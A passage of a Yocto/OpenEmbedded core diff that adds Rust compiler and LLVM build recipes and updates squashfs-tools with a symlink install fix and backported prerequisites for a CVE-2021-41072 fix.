+ -DCMAKE_INSTALL_PREFIX:PATH=${libdir}/llvm-rust \
+"
+EXTRA_OECMAKE:append:class-target = "\
+ -DCMAKE_CROSSCOMPILING:BOOL=ON \
+ -DLLVM_BUILD_TOOLS=OFF \
+ -DLLVM_TABLEGEN=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-tblgen \
+ -DLLVM_CONFIG_PATH=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config \
+"
+
+# The debug symbols are huge here (>2GB) so suppress them since they
+# provide almost no value. If you really need them then override this
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
+
+export YOCTO_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR}/llvm-rust/bin/llvm-config"
+
+do_install:append () {
+ # we don't need any of this stuff to build Rust
+ rm -rf "${D}/usr/lib/cmake"
+}
+
+PACKAGES =+ "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liblto"
+
+# Add the extra locations to avoid the complaints about unpackaged files
+FILES:${PN}-bugpointpasses = "${libdir}/llvm-rust/lib/BugpointPasses.so"
+FILES:${PN}-llvmhello = "${libdir}/llvm-rust/lib/LLVMHello.so"
+FILES:${PN}-liblto = "${libdir}/llvm-rust/lib/libLTO.so.*"
+FILES:${PN}-staticdev =+ "${libdir}/llvm-rust/*/*.a"
+FILES:${PN} += "${libdir}/libLLVM*.so.* ${libdir}/llvm-rust/lib/*.so.* ${libdir}/llvm-rust/bin"
+FILES:${PN}-dev += "${datadir}/llvm ${libdir}/llvm-rust/lib/*.so ${libdir}/llvm-rust/include ${libdir}/llvm-rust/share ${libdir}/llvm-rust/lib/cmake"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch b/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch
new file mode 100644
index 0000000000..9be26677a9
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch
@@ -0,0 +1,33 @@
+From 7111770e8290082530d920e120995bf81431b0aa Mon Sep 17 00:00:00 2001
+From: Martin Kelly <mkelly@xevo.com>
+Date: Fri, 19 May 2017 00:22:57 -0700
+Subject: [PATCH 12/18] llvm: allow env override of exe path
+
+When using a native llvm-config from inside a sysroot, we need llvm-config to
+return the libraries, include directories, etc. from inside the sysroot rather
+than from the native sysroot. Thus provide an env override for calling
+llvm-config from a target sysroot.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Martin Kelly <mkelly@xevo.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ llvm/tools/llvm-config/llvm-config.cpp | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+--- a/llvm/tools/llvm-config/llvm-config.cpp
++++ b/llvm/tools/llvm-config/llvm-config.cpp
+@@ -226,6 +226,13 @@ Typical components:\n\
+
+ /// Compute the path to the main executable.
+ std::string GetExecutablePath(const char *Argv0) {
++ // Hack for Yocto: we need to override the root path when we are using
++ // llvm-config from within a target sysroot.
++ const char *Sysroot = std::getenv("YOCTO_ALTERNATE_EXE_PATH");
++ if (Sysroot != nullptr) {
++ return Sysroot;
++ }
++
+ // This just needs to be some symbol in the binary; C++ doesn't
+ // allow taking the address of ::main however.
+ void *P = (void *)(intptr_t)GetExecutablePath;
diff --git a/meta/recipes-devtools/rust/rust-llvm_1.57.0.bb b/meta/recipes-devtools/rust/rust-llvm_1.57.0.bb
new file mode 100644
index 0000000000..222c20ad3c
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm_1.57.0.bb
@@ -0,0 +1,5 @@
+# check src/llvm-project/llvm/CMakeLists.txt for llvm version in use
+#
+LLVM_RELEASE = "13.0.0"
+require rust-source.inc
+require rust-llvm.inc
diff --git a/meta/recipes-devtools/rust/rust-snapshot.inc b/meta/recipes-devtools/rust/rust-snapshot.inc
new file mode 100644
index 0000000000..3418a2e0ba
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-snapshot.inc
@@ -0,0 +1,25 @@
+## This is information on the rust-snapshot (binary) used to build our current release.
+## snapshot info is taken from rust/src/stage0.txt
+## TODO: find a way to add additional SRC_URIs based on the contents of an
+## earlier SRC_URI.
+RS_VERSION = "1.56.1"
+CARGO_VERSION = "1.56.1"
+
+# TODO: Add hashes for other architecture toolchains as well. Make a script?
+SRC_URI[rust-std-snapshot-x86_64.sha256sum] = "b01011cbb5503c456ecc6a557a38e099994b8497df545c661ce8fd48c5beadc6"
+SRC_URI[rustc-snapshot-x86_64.sha256sum] = "a7001d1218b62d377cab15522d1b1c376b073c05f7d0ff32cf278871a5eeda3d"
+SRC_URI[cargo-snapshot-x86_64.sha256sum] = "dfed65a50e2b58b6807c1fb6f8afa7abd5c3b22c682d505721d615823687c708"
+
+SRC_URI[rust-std-snapshot-aarch64.sha256sum] = "a83416d15354e4dfa1c1e4a756282c6be7169679f2b04eca82ed34e2116b93f0"
+SRC_URI[rustc-snapshot-aarch64.sha256sum] = "77aec6a8c5f3d33941c79a48cda3bb08878c23dd1947dc027dfe5c4da41305b3"
+SRC_URI[cargo-snapshot-aarch64.sha256sum] = "3d263eb1871b5d6ca4b198b9611925923e9353e1f5c2becf8c7b784298e88743"
+
+SRC_URI += " \
+ https://static.rust-lang.org/dist/${RUST_STD_SNAPSHOT}.tar.xz;name=rust-std-snapshot-${BUILD_ARCH};subdir=rust-snapshot-components \
+ https://static.rust-lang.org/dist/${RUSTC_SNAPSHOT}.tar.xz;name=rustc-snapshot-${BUILD_ARCH};subdir=rust-snapshot-components \
+ https://static.rust-lang.org/dist/${CARGO_SNAPSHOT}.tar.xz;name=cargo-snapshot-${BUILD_ARCH};subdir=rust-snapshot-components \
+"
+
+RUST_STD_SNAPSHOT = "rust-std-${RS_VERSION}-${BUILD_ARCH}-unknown-linux-gnu"
+RUSTC_SNAPSHOT = "rustc-${RS_VERSION}-${BUILD_ARCH}-unknown-linux-gnu"
+CARGO_SNAPSHOT = "cargo-${CARGO_VERSION}-${BUILD_ARCH}-unknown-linux-gnu"
diff --git a/meta/recipes-devtools/rust/rust-source.inc b/meta/recipes-devtools/rust/rust-source.inc
new file mode 100644
index 0000000000..dbbfa14913
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-source.inc
@@ -0,0 +1,7 @@
+SRC_URI += "https://static.rust-lang.org/dist/rustc-${PV}-src.tar.xz;name=rust"
+SRC_URI[rust.sha256sum] = "fad07ea1daf9c6195c32e6e9c43ece4565c5f2f1de3c3771574790d6abbc9704"
+
+RUSTSRC = "${WORKDIR}/rustc-${PV}-src"
+
+UPSTREAM_CHECK_URI = "https://forge.rust-lang.org/infra/other-installation-methods.html"
+UPSTREAM_CHECK_REGEX = "rustc-(?P<pver>\d+(\.\d+)+)-src"
diff --git a/meta/recipes-devtools/rust/rust-target.inc b/meta/recipes-devtools/rust/rust-target.inc
new file mode 100644
index 0000000000..3f637b3ba5
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-target.inc
@@ -0,0 +1,10 @@
+require rust.inc
+
+DEPENDS += "rust-llvm (=${PV})"
+
+# Otherwise we'll depend on what we provide
+INHIBIT_DEFAULT_RUST_DEPS:class-native = "1"
+# We don't need to depend on gcc-native because yocto assumes it exists
+PROVIDES:class-native = "virtual/${TARGET_PREFIX}rust"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/rust/rust-tools-cross-canadian.inc b/meta/recipes-devtools/rust/rust-tools-cross-canadian.inc
new file mode 100644
index 0000000000..f0358551ae
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-tools-cross-canadian.inc
@@ -0,0 +1,38 @@
+
+require rust-cross-canadian-common.inc
+
+RUST_TOOLS_CLIPPY_PN = "rust-tools-clippy-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+RUST_TOOLS_RUSTFMT_PN = "rust-tools-rustfmt-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+RUST_TOOLS_PKGS = "${RUST_TOOLS_CLIPPY_PN} ${RUST_TOOLS_RUSTFMT_PN}"
+PN = "rust-tools-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+PACKAGES = "${RUST_TOOLS_CLIPPY_PN} ${RUST_TOOLS_RUSTFMT_PN} ${PN}"
+RDEPENDS:${PN} += "${RUST_TOOLS_PKGS}"
+
+do_compile () {
+ rust_runx build --stage 2 src/tools/clippy
+ rust_runx build --stage 2 src/tools/rustfmt
+}
+
+do_install () {
+ SYS_BINDIR=$(dirname ${D}${bindir})
+
+ install -d "${SYS_BINDIR}"
+ cp build/${SNAPSHOT_BUILD_SYS}/stage2-tools-bin/* ${SYS_BINDIR}
+ for i in ${SYS_BINDIR}/*; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+
+ chown -R root.root ${D}
+}
+
+ALLOW_EMPTY:${PN} = "1"
+
+PKG_SYS_BINDIR = "${SDKPATHNATIVE}/usr/bin"
+FILES:${RUST_TOOLS_CLIPPY_PN} = "${PKG_SYS_BINDIR}/cargo-clippy ${PKG_SYS_BINDIR}/clippy-driver"
+FILES:${RUST_TOOLS_RUSTFMT_PN} = "${PKG_SYS_BINDIR}/rustfmt"
+
+SUMMARY:${PN} = "Rust helper tools"
+SUMMARY:${RUST_TOOLS_CLIPPY_PN} = "A collection of lints to catch common mistakes and improve your Rust code"
+SUMMARY:${RUST_TOOLS_RUSTFMT_PN} = "A tool for formatting Rust code according to style guidelines"
+
diff --git a/meta/recipes-devtools/rust/rust-tools-cross-canadian_1.57.0.bb b/meta/recipes-devtools/rust/rust-tools-cross-canadian_1.57.0.bb
new file mode 100644
index 0000000000..2d809d68f5
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-tools-cross-canadian_1.57.0.bb
@@ -0,0 +1,6 @@
+require rust-tools-cross-canadian.inc
+require rust-source.inc
+require rust-snapshot.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/rust:"
+
diff --git a/meta/recipes-devtools/rust/rust.inc b/meta/recipes-devtools/rust/rust.inc
new file mode 100644
index 0000000000..1d6f99afad
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust.inc
@@ -0,0 +1,202 @@
+SUMMARY = "Rust compiler and runtime libaries"
+HOMEPAGE = "http://www.rust-lang.org"
+SECTION = "devel"
+LICENSE = "MIT | Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=93a95682d51b4cb0a633a97046940ef0"
+
+inherit rust
+inherit cargo_common
+
+DEPENDS += "file-native python3-native"
+DEPENDS:append:class-native = " rust-llvm-native"
+
+S = "${RUSTSRC}"
+
+# We generate local targets, and need to be able to locate them
+export RUST_TARGET_PATH="${WORKDIR}/targets/"
+
+export FORCE_CRATE_HASH="${BB_TASKHASH}"
+
+RUST_ALTERNATE_EXE_PATH ?= "${STAGING_LIBDIR}/llvm-rust/bin/llvm-config"
+export YOCTO_ALTERNATE_EXE_PATH = "${RUST_ALTERNATE_EXE_PATH}"
+export YOCTO_ALTERNATE_MULTILIB_NAME = "/${BASELIB}"
+
+# We don't want to use bitbakes vendoring because the rust sources do their
+# own vendoring.
+CARGO_DISABLE_BITBAKE_VENDORING = "1"
+
+# We can't use RUST_BUILD_SYS here because that may be "musl" if
+# TCLIBC="musl". Snapshots are always -unknown-linux-gnu
+SNAPSHOT_BUILD_SYS = "${BUILD_ARCH}-unknown-linux-gnu"
+setup_cargo_environment () {
+ # The first step is to build bootstrap and some early stage tools,
+ # these are build for the same target as the snapshot, e.g.
+ # x86_64-unknown-linux-gnu.
+ # Later stages are build for the native target (i.e. target.x86_64-linux)
+ cargo_common_do_configure
+
+ printf '[target.%s]\n' "${SNAPSHOT_BUILD_SYS}" >> ${CARGO_HOME}/config
+ printf "linker = '%s'\n" "${RUST_BUILD_CCLD}" >> ${CARGO_HOME}/config
+}
+
+include rust-common.inc
+
+do_rust_setup_snapshot () {
+ for installer in "${WORKDIR}/rust-snapshot-components/"*"/install.sh"; do
+ "${installer}" --prefix="${WORKDIR}/rust-snapshot" --disable-ldconfig
+ done
+
+ # Some versions of rust (e.g. 1.18.0) tries to find cargo in stage0/bin/cargo
+ # and fail without it there.
+ mkdir -p ${RUSTSRC}/build/${BUILD_SYS}
+ ln -sf ${WORKDIR}/rust-snapshot/ ${RUSTSRC}/build/${BUILD_SYS}/stage0
+
+ # Need to use uninative's loader if enabled/present since the library paths
+ # are used internally by rust and result in symbol mismatches if we don't
+ if [ ! -z "${UNINATIVE_LOADER}" -a -e "${UNINATIVE_LOADER}" ]; then
+ for bin in cargo rustc rustdoc; do
+ patchelf-uninative ${WORKDIR}/rust-snapshot/bin/$bin --set-interpreter ${UNINATIVE_LOADER}
+ done
+ fi
+}
+addtask rust_setup_snapshot after do_unpack before do_configure
+do_rust_setup_snapshot[dirs] += "${WORKDIR}/rust-snapshot"
+do_rust_setup_snapshot[vardepsexclude] += "UNINATIVE_LOADER"
+
+python do_configure() {
+ import json
+ try:
+ import configparser
+ except ImportError:
+ import ConfigParser as configparser
+
+ # toml is rather similar to standard ini like format except it likes values
+ # that look more JSON like. So for our purposes simply escaping all values
+ # as JSON seem to work fine.
+
+ e = lambda s: json.dumps(s)
+
+ config = configparser.RawConfigParser()
+
+ # [target.ARCH-poky-linux]
+ target_section = "target.{}".format(d.getVar('TARGET_SYS', True))
+ config.add_section(target_section)
+
+ llvm_config = d.expand("${YOCTO_ALTERNATE_EXE_PATH}")
+ config.set(target_section, "llvm-config", e(llvm_config))
+
+ config.set(target_section, "cxx", e(d.expand("${RUST_TARGET_CXX}")))
+ config.set(target_section, "cc", e(d.expand("${RUST_TARGET_CC}")))
+
+ # If we don't do this rust-native will compile it's own llvm for BUILD.
+ # [target.${BUILD_ARCH}-unknown-linux-gnu]
+ target_section = "target.{}".format(d.getVar('SNAPSHOT_BUILD_SYS', True))
+ config.add_section(target_section)
+
+ config.set(target_section, "llvm-config", e(llvm_config))
+
+ config.set(target_section, "cxx", e(d.expand("${RUST_BUILD_CXX}")))
+ config.set(target_section, "cc", e(d.expand("${RUST_BUILD_CC}")))
+
+ # [rust]
+ config.add_section("rust")
+ config.set("rust", "rpath", e(True))
+ config.set("rust", "channel", e("stable"))
+
+ # Whether or not to optimize the compiler and standard library
+ config.set("rust", "optimize", e(True))
+
+ # [build]
+ config.add_section("build")
+ config.set("build", "submodules", e(False))
+ config.set("build", "docs", e(False))
+
+ rustc = d.expand("${WORKDIR}/rust-snapshot/bin/rustc")
+ config.set("build", "rustc", e(rustc))
+
+ # Support for the profiler runtime to generate e.g. coverage report,
+ # PGO etc.
+ config.set("build", "profiler", e(True))
+
+ cargo = d.expand("${WORKDIR}/rust-snapshot/bin/cargo")
+ config.set("build", "cargo", e(cargo))
+
+ config.set("build", "vendor", e(True))
+
+ if not "targets" in locals():
+ targets = [d.getVar("TARGET_SYS", True)]
+ config.set("build", "target", e(targets))
+
+ if not "hosts" in locals():
+ hosts = [d.getVar("HOST_SYS", True)]
+ config.set("build", "host", e(hosts))
+
+ # We can't use BUILD_SYS since that is something the rust snapshot knows
+ # nothing about when trying to build some stage0 tools (like fabricate)
+ config.set("build", "build", e(d.getVar("SNAPSHOT_BUILD_SYS", True)))
+
+ # [install]
+ config.add_section("install")
+ # ./x.py install doesn't have any notion of "destdir"
+ # but we can prepend ${D} to all the directories instead
+ config.set("install", "prefix", e(d.getVar("D", True) + d.getVar("prefix", True)))
+ config.set("install", "bindir", e(d.getVar("D", True) + d.getVar("bindir", True)))
+ config.set("install", "libdir", e(d.getVar("D", True) + d.getVar("libdir", True)))
+ config.set("install", "datadir", e(d.getVar("D", True) + d.getVar("datadir", True)))
+ config.set("install", "mandir", e(d.getVar("D", True) + d.getVar("mandir", True)))
+
+ with open("config.toml", "w") as f:
+ f.write('changelog-seen = 2\n\n')
+ config.write(f)
+
+ # set up ${WORKDIR}/cargo_home
+ bb.build.exec_func("setup_cargo_environment", d)
+}
+
+
+rust_runx () {
+ echo "COMPILE ${PN}" "$@"
+
+ # CFLAGS, LDFLAGS, CXXFLAGS, CPPFLAGS are used by rust's build for a
+ # wide range of targets (not just TARGET). Yocto's settings for them will
+ # be inappropriate, avoid using.
+ unset CFLAGS
+ unset LDFLAGS
+ unset CXXFLAGS
+ unset CPPFLAGS
+
+ oe_cargo_fix_env
+
+ python3 src/bootstrap/bootstrap.py ${@oe.utils.parallel_make_argument(d, '-j %d')} "$@" --verbose
+}
+rust_runx[vardepsexclude] += "PARALLEL_MAKE"
+
+do_compile () {
+ rust_runx build
+}
+
+rust_do_install () {
+ mkdir -p ${D}${bindir}
+ cp build/${HOST_SYS}/stage2/bin/* ${D}${bindir}
+
+ mkdir -p ${D}${libdir}/rustlib
+ cp -pRd build/${HOST_SYS}/stage2/lib/* ${D}${libdir}
+ # Remove absolute symlink so bitbake doesn't complain
+ rm -f ${D}${libdir}/rustlib/src/rust
+}
+
+rust_install_targets() {
+ # Install our custom target.json files
+ local td="${D}${libdir}/rustlib/"
+ install -d "$td"
+ for tgt in "${WORKDIR}/targets/"* ; do
+ install -m 0644 "$tgt" "$td"
+ done
+}
+
+
+do_install () {
+ rust_do_install
+ rust_install_targets
+}
+# ex: sts=4 et sw=4 ts=8
diff --git a/meta/recipes-devtools/rust/rust_1.57.0.bb b/meta/recipes-devtools/rust/rust_1.57.0.bb
new file mode 100644
index 0000000000..b505ad46ca
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust_1.57.0.bb
@@ -0,0 +1,21 @@
+require rust-target.inc
+require rust-source.inc
+require rust-snapshot.inc
+
+INSANE_SKIP:${PN}:class-native = "already-stripped"
+
+do_compile () {
+ rust_runx build --stage 2
+}
+
+rust_do_install() {
+ rust_runx install
+}
+
+python () {
+ pn = d.getVar('PN')
+
+ if not pn.endswith("-native"):
+ raise bb.parse.SkipRecipe("Rust recipe doesn't work for target builds at this time. Fixes welcome.")
+}
+
diff --git a/meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch b/meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch
deleted file mode 100644
index fc881862ea..0000000000
--- a/meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 94e1911ca24726b7cb3efe2f8b9eb7a784757e18 Mon Sep 17 00:00:00 2001
-From: Sergei Trofimovich <slyfox@gentoo.org>
-Date: Sun, 26 Jan 2020 18:35:13 +0000
-Subject: [PATCH] squashfs-tools: fix build failure against gcc-10
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-On gcc-10 (and gcc-9 -fno-common) build fails as:
-
-```
-cc ... -o mksquashfs
-ld: read_fs.o:(.bss+0x0):
- multiple definition of `fwriter_buffer'; mksquashfs.o:(.bss+0x400c90): first defined here
-ld: read_fs.o:(.bss+0x8):
- multiple definition of `bwriter_buffer'; mksquashfs.o:(.bss+0x400c98): first defined here
-```
-
-gcc-10 will change the default from -fcommon to fno-common:
-https://gcc.gnu.org/PR85678.
-
-The error also happens if CFLAGS=-fno-common passed explicitly.
-
-Reported-by: Toralf Förster
-Bug: https://bugs.gentoo.org/706456
-Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
-Signed-off-by: Jacob Kroon <jacob.kroon@gmail.com>
-Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/fe2f5da4b0f8994169c53e84b7cb8a0feefc97b5]
----
- squashfs-tools/mksquashfs.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/squashfs-tools/mksquashfs.h b/squashfs-tools/mksquashfs.h
-index 1beefef..b650306 100644
---- a/squashfs-tools/mksquashfs.h
-+++ b/squashfs-tools/mksquashfs.h
-@@ -143,7 +143,7 @@ struct append_file {
- #endif
-
- extern struct cache *reader_buffer, *fragment_buffer, *reserve_cache;
--struct cache *bwriter_buffer, *fwriter_buffer;
-+extern struct cache *bwriter_buffer, *fwriter_buffer;
- extern struct queue *to_reader, *to_deflate, *to_writer, *from_writer,
- *to_frag, *locked_fragment, *to_process_frag;
- extern struct append_file **file_mapping;
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch
new file mode 100644
index 0000000000..b505f05735
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch
@@ -0,0 +1,34 @@
+From c9e263a7add76df1ed92e879d964264067c0f6e8 Mon Sep 17 00:00:00 2001
+From: Patrick McCarty <patrick.mccarty@intel.com>
+Date: Mon, 26 Jul 2021 11:38:43 -0700
+Subject: [PATCH] Avoid use of INSTALL_DIR for symlink targets
+
+In case INSTALL_DIR is overridden with a staged install location, using
+INSTALL_DIR for the symlink target path prefix will yield an incorrect location
+for the final installation.
+
+Because the symlink itself is already installed to INSTALL_DIR, simply removing
+the INSTALL_DIR prefix suffices as a fix.
+
+Note that using $DESTDIR/$INSTALL_DIR where appropriate can avoid this type of
+issue, but that can be considered a future enhancement.
+
+Upstream-Status: Backport
+Signed-off-by: Patrick McCarty <patrick.mccarty@intel.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ squashfs-tools/Makefile | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/squashfs-tools/Makefile b/squashfs-tools/Makefile
+index 5795d0d..998c5fd 100755
+--- a/Makefile
++++ b/Makefile
+@@ -406,5 +406,5 @@ install: mksquashfs unsquashfs
+ mkdir -p $(INSTALL_DIR)
+ cp mksquashfs $(INSTALL_DIR)
+ cp unsquashfs $(INSTALL_DIR)
+- ln -fs $(INSTALL_DIR)/unsquashfs $(INSTALL_DIR)/sqfscat
+- ln -fs $(INSTALL_DIR)/mksquashfs $(INSTALL_DIR)/sqfstar
++ ln -fs unsquashfs $(INSTALL_DIR)/sqfscat
++ ln -fs mksquashfs $(INSTALL_DIR)/sqfstar
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch
new file mode 100644
index 0000000000..d01b5c6871
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch
@@ -0,0 +1,135 @@
+The commit is required by the fix for CVE-2021-41072.
+
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/80b8441]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From 80b8441a37fcf8bf07dacf24d9d6c6459a0f6e36 Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 19:58:19 +0100
+Subject: [PATCH] unsquashfs: use squashfs_closedir() to delete directory
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/unsquash-1.c | 3 +--
+ squashfs-tools/unsquash-1234.c | 11 +++++++++--
+ squashfs-tools/unsquash-2.c | 3 +--
+ squashfs-tools/unsquash-3.c | 3 +--
+ squashfs-tools/unsquash-4.c | 3 +--
+ squashfs-tools/unsquashfs.c | 7 -------
+ squashfs-tools/unsquashfs.h | 1 +
+ 7 files changed, 14 insertions(+), 17 deletions(-)
+
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index acba821..7598499 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -373,8 +373,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index c2d4f42..0c8dfbb 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -25,8 +25,8 @@
+ * unsquash-4.
+ */
+
+-#define TRUE 1
+-#define FALSE 0
++#include "unsquashfs.h"
++
+ /*
+ * Check name for validity, name should not
+ * - be ".", "./", or
+@@ -56,3 +56,10 @@ int check_name(char *name, int size)
+
+ return TRUE;
+ }
++
++
++void squashfs_closedir(struct dir *dir)
++{
++ free(dir->dirs);
++ free(dir);
++}
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index 0746b3d..86f62ba 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -465,8 +465,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index 094caaa..c04aa9e 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -499,8 +499,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index 3a1b9e1..ff62dcc 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -436,8 +436,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquashfs.c b/squashfs-tools/unsquashfs.c
+index 7b590bd..04be53c 100644
+--- a/squashfs-tools/unsquashfs.c
++++ b/squashfs-tools/unsquashfs.c
+@@ -1350,13 +1350,6 @@ unsigned int *offset, unsigned int *type)
+ }
+
+
+-void squashfs_closedir(struct dir *dir)
+-{
+- free(dir->dirs);
+- free(dir);
+-}
+-
+-
+ char *get_component(char *target, char **targname)
+ {
+ char *start;
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index 2e9201c..5ecb2ab 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -291,4 +291,5 @@ extern long long *alloc_index_table(int);
+
+ /* unsquash-1234.c */
+ extern int check_name(char *, int);
++extern void squashfs_closedir(struct dir *);
+ #endif
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch
new file mode 100644
index 0000000000..6b230b35c6
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch
@@ -0,0 +1,108 @@
+The commit is required by the fix for CVE-2021-41072.
+
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/1993a4e]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From 1993a4e7aeda04962bf26e84c15fba8b58837e10 Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 20:09:13 +0100
+Subject: [PATCH] unsquashfs: dynamically allocate name
+
+Dynamically allocate name rather than store it
+directly in structure.
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/unsquash-1.c | 2 +-
+ squashfs-tools/unsquash-1234.c | 5 +++++
+ squashfs-tools/unsquash-2.c | 2 +-
+ squashfs-tools/unsquash-3.c | 2 +-
+ squashfs-tools/unsquash-4.c | 2 +-
+ squashfs-tools/unsquashfs.h | 2 +-
+ 6 files changed, 10 insertions(+), 5 deletions(-)
+
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index 7598499..d0121c6 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -360,7 +360,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index 0c8dfbb..ac46d9d 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -60,6 +60,11 @@ int check_name(char *name, int size)
+
+ void squashfs_closedir(struct dir *dir)
+ {
++ int i;
++
++ for(i = 0; i < dir->dir_count; i++)
++ free(dir->dirs[i].name);
++
+ free(dir->dirs);
+ free(dir);
+ }
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index 86f62ba..e847980 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -452,7 +452,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
